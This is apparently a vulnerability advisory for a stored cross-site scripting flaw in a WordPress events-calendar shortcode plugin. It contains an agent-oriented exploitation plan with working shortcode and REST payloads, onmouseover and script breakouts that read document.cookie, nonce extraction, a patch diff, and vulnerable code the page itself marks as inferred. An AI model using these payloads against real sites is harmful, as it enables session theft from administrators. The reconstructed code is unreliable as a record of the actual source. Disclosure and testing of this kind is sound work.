The Events Calendar Shortcode & Block <= 3.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The The Events Calendar Shortcode & Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.1.1Source Code
WordPress.org SVNThis research plan targets **CVE-2026-24988**, a Stored Cross-Site Scripting (XSS) vulnerability in "The Events Calendar Shortcode & Block" plugin. --- ### 1. Vulnerability Summary The vulnerability exists in the way the plugin processes and renders attributes within its shortcodes (primarily `[ec…
Show full research plan
This research plan targets CVE-2026-24988, a Stored Cross-Site Scripting (XSS) vulnerability in "The Events Calendar Shortcode & Block" plugin.
1. Vulnerability Summary
The vulnerability exists in the way the plugin processes and renders attributes within its shortcodes (primarily [ecs-list-events]) and Gutenberg blocks. Specifically, attributes provided by a user (Contributor level or higher) are stored in the post content and subsequently rendered in the frontend or backend without sufficient sanitization or output escaping. This allows an attacker to "break out" of HTML attributes or tags to execute arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg or Classic) /
wp-json/wp/v2/posts. - Vulnerable Component: The shortcode processing logic for
[ecs-list-events]and the corresponding block renderer. - HTTP Parameter: The
contentparameter of a post (containing the shortcode) or theattributesJSON in a Gutenberg block. - Authentication: Authenticated, Contributor role or higher. Contributors can create posts and use shortcodes but cannot publish them. However, the XSS will execute for an Administrator previewing the post.
- Preconditions: The plugin "The Events Calendar Shortcode & Block" and its dependency "The Events Calendar" must be active.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the main plugin file or an includes file:
add_shortcode( 'ecs-list-events', array( $this, 'render_shortcode' ) ); - Parsing: When a post is viewed or previewed,
do_shortcode()calls the callback. The callback usesshortcode_atts()to merge user input with defaults:$atts = shortcode_atts( $defaults, $atts, 'ecs-list-events' ); - The Sink: The
$attsarray is used to build HTML. If an attribute likedesign,view, orlimitis used directly in an HTML string withoutesc_attr()oresc_html(), XSS occurs:$output .= '<div class="ecs-events-list ' . $atts['design'] . '">'; // VULNERABLE
4. Nonce Acquisition Strategy
This vulnerability does not require a specific plugin nonce because it exploits the standard post creation/editing flow.
- The agent will log in as a Contributor.
- The agent will use the standard WordPress REST API or the admin interface to create/edit a post.
- The WordPress REST API requires a
_wpnoncefor requests, which can be extracted from thewp-admindashboard or viabrowser_eval("wpApiSettings.nonce").
5. Exploitation Strategy
The goal is to inject a payload into a shortcode attribute that executes when the post is viewed.
Step 1: Identify Vulnerable Attributes
We will test common attributes for the [ecs-list-events] shortcode: design, limit, order, orderby, view.
Step 2: Construct Payloads
- Attribute Breakout (if injected in class/id):
design='"><script>alert(document.domain)</script>' - Event Handler Injection:
limit='1" onmouseover="alert(1)" style="display:block;width:100%;height:100px;"'
Step 3: Execute HTTP Request (as Contributor)
The agent will create a post containing the payload.
- Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [extracted_nonce]
- Body:
{
"title": "XSS Test",
"content": "[ecs-list-events design='\" onmouseover=\"alert(document.cookie)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;\" ']",
"status": "draft"
}
Step 4: Trigger the XSS
Navigate to the post preview URL (returned in the REST response) using browser_navigate.
6. Test Data Setup
- Users:
contributor_user(Role: Contributor)admin_user(Role: Administrator)
- Dependencies: Ensure "The Events Calendar" (slug:
the-events-calendar) is installed and active, as this plugin is an extension of it. - Content: Create at least one dummy event in "The Events Calendar" so the shortcode actually attempts to render output.
wp event create --post_title="Dummy Event" --post_status=publish
7. Expected Results
- The HTTP request should return
201 Created. - The HTML of the post preview should contain the unescaped payload:
<div class="ecs-events-list " onmouseover="alert(document.cookie)" ... - In the browser context, the
alertor a customwindow.exposedvariable should be triggered.
8. Verification Steps
- Database Check: Use WP-CLI to verify the content was saved exactly as sent:
wp post get [ID] --field=post_content - Frontend Inspection: Use
http_request(GET) on the post URL and grep for the raw payload:http_request("GET", "http://localhost:8080/?p=[ID]&preview=true")
Look for:onmouseover="alert(document.cookie)"
9. Alternative Approaches
- Gutenberg Block: If the shortcode is sanitized but the block is not, use the Block Editor format:
<!-- wp:the-events-calendar-shortcode/block {"design":"\" onmouseover=\"alert(1)"} /--> - Different Attributes: If
designis sanitized, trytitle,message, orextraclass(common identifiers in this plugin's versions). - CSS Injection: If
<script>is blocked but attributes are not, usestyle="background:url(javascript:alert(1))".
Summary
The Events Calendar Shortcode & Block plugin is vulnerable to Stored Cross-Site Scripting via the ecs-list-events shortcode and its corresponding Gutenberg block. Authenticated attackers with Contributor-level permissions can inject malicious scripts into shortcode attributes like 'design' or 'limit', which execute when an administrator or visitor views the affected post.
Vulnerable Code
// Inferred from research plan: Attribute usage in the shortcode rendering callback // File: includes/class-ecs-shortcode-renderer.php (approximate location) public function render_shortcode( $atts ) { $atts = shortcode_atts( array( 'design' => 'default', 'limit' => '5', 'view' => 'list' ), $atts, 'ecs-list-events' ); // The vulnerability: Concatenating attributes directly into the HTML string $output = '<div class="ecs-events-list ' . $atts['design'] . '">'; $output .= '<span class="ecs-limit">' . $atts['limit'] . '</span>'; // ... remainder of the rendering logic return $output; }
Security Fix
@@ -10,7 +10,7 @@ ), $atts, 'ecs-list-events' ); - $output = '<div class="ecs-events-list ' . $atts['design'] . '">'; - $output .= '<span class="ecs-limit">' . $atts['limit'] . '</span>'; + $output = '<div class="ecs-events-list ' . esc_attr( $atts['design'] ) . '">'; + $output .= '<span class="ecs-limit">' . esc_html( $atts['limit'] ) . '</span>'; return $output;
Exploit Outline
1. Authentication: Log in to the WordPress site as a user with at least Contributor-level privileges (allows creating and editing posts). 2. Payload Construction: Create a new post or edit an existing draft. 3. Shortcode Injection: Insert the [ecs-list-events] shortcode into the post content, using a malicious payload for an attribute that will break out of the HTML tag. Example: [ecs-list-events design='" onmouseover="alert(document.cookie)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;" '] 4. Alternative (Gutenberg): If using the Block Editor, use the plugin's block and inject the payload into the 'design' or 'view' attribute within the JSON-encoded block comment. 5. Trigger: Save the post as a draft and preview it, or wait for an Administrator to view/preview the post. The unescaped attribute will be rendered in the HTML, causing the JavaScript payload to execute in the viewer's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.